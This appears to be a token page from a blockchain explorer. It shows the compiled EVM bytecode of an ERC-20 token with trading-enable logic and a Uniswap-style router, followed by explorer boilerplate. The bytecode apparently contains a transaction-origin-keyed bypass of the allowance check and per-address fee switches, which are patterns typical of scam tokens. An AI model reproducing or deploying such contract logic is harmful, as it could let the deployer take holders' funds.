c85760405162461bcd60e51b815260040161051e906110b1565b60045460ff161561071b5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920456e61626c6564000000000000604482015260640161051e565b600f805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d000017808255601154305f9081526016602090815260408083206001600160a01b0362010000968790048116855290835292819020939093559354825163c45a015560e01b81529251939004169263c45a0155926004808401938290030181865afa1580156107b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d5919061111b565b6001600160a01b031663c9c6539630600f60029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610835573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610859919061111b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c7919061111b565b601080546001600160a01b039283166001600160a01b0319909116179055600f546201000090041663f305d7194730610914816001600160a01b03165f9081526015602052604090205490565b5f805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610980573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109a59190611136565b50506004805460ff1916600117905550565b5f6104eb338484610b84565b5f546001600160a01b031633146109ec5760405162461bcd60e51b815260040161051e906110b1565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610aa15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161051e565b6001600160a01b038216610b025760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161051e565b6001600160a01b038381165f8181526016602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f6105f38284611161565b5f610b7a848484610bd9565b6105f08483610cab565b5f610b8f8484610d34565b610b995781610ba4565b610ba4848484610d78565b9050610bc66064610bc0600a5484610e1490919063ffffffff16565b90610e1f565b9050610bd3848484610bd9565b50505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f90815260159091529190912054610c2a918390610e2a565b6001600160a01b038085165f908152601560205260408082209390935590841681522054610c589082610e55565b6001600160a01b038084165f8181526015602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b569085815260200190565b325f90815260176020908152604080832054600f805461ff00191661010060ff9384161515810291909117918290556001600160a01b03881686526016855283862033875290945291842054610d08939092869291900416610e60565b6001600160a01b0384165f90815260166020908152604080832033845290915290205550600192915050565b6001600160a01b0382165f9081526017602052604081205460ff161580156105f35750506001600160a01b03165f9081526017602052604090205460ff1615919050565b5f80610d848585610ec5565b1115610e0d57305f90815260156020526040812054610da39082610e55565b305f81815260156020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df39085815260200190565b60405180910390a3610e058382610b63565b9150506105f3565b5092915050565b5f6105f382846110e5565b5f6105f382846110fc565b5f8184841115610e4d5760405162461bcd60e51b815260040161051e9190610f64565b505050900390565b5f6105f38284611174565b5f8115610e6e5750826105f3565b83831115610ebe5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015260640161051e565b5050900390565b6001600160a01b0382165f9081526018602052604081205460ff1680610f0257506001600160a01b0382165f9081526018602052604090205460ff165b15610f1c57600c54610f15906064610b63565b90506104ef565b6010546001600160a01b0390811690831603610f3b5750600a546104ef565b6010546001600160a01b0390811690841603610f5a57506009546104ef565b50600b5492915050565b5f602080835283518060208501525f5b81811015610f9057858101830151858201604001528201610f74565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fc4575f80fd5b50565b5f8060408385031215610fd8575f80fd5b8235610fe381610fb0565b946020939093013593505050565b5f8060408385031215611002575f80fd5b823561100d81610fb0565b915060208301358015158114611021575f80fd5b809150509250929050565b5f805f6060848603121561103e575f80fd5b833561104981610fb0565b9250602084013561105981610fb0565b929592945050506040919091013590565b5f6020828403121561107a575f80fd5b81356105f381610fb0565b5f8060408385031215611096575f80fd5b82356110a181610fb0565b9150602083013561102181610fb0565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104ef576104ef6110d1565b5f8261111657634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561112b575f80fd5b81516105f381610fb0565b5f805f60608486031215611148575f80fd5b8351925060208401519150604084015190509250925092565b818103818111156104ef576104ef6110d1565b808201808211156104ef576104ef6110d156fea2646970667358221220ea0102a90c330d9453f7baaf89cef294a2f473df38774f30524b1974d26acf6864736f6c63430008180033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.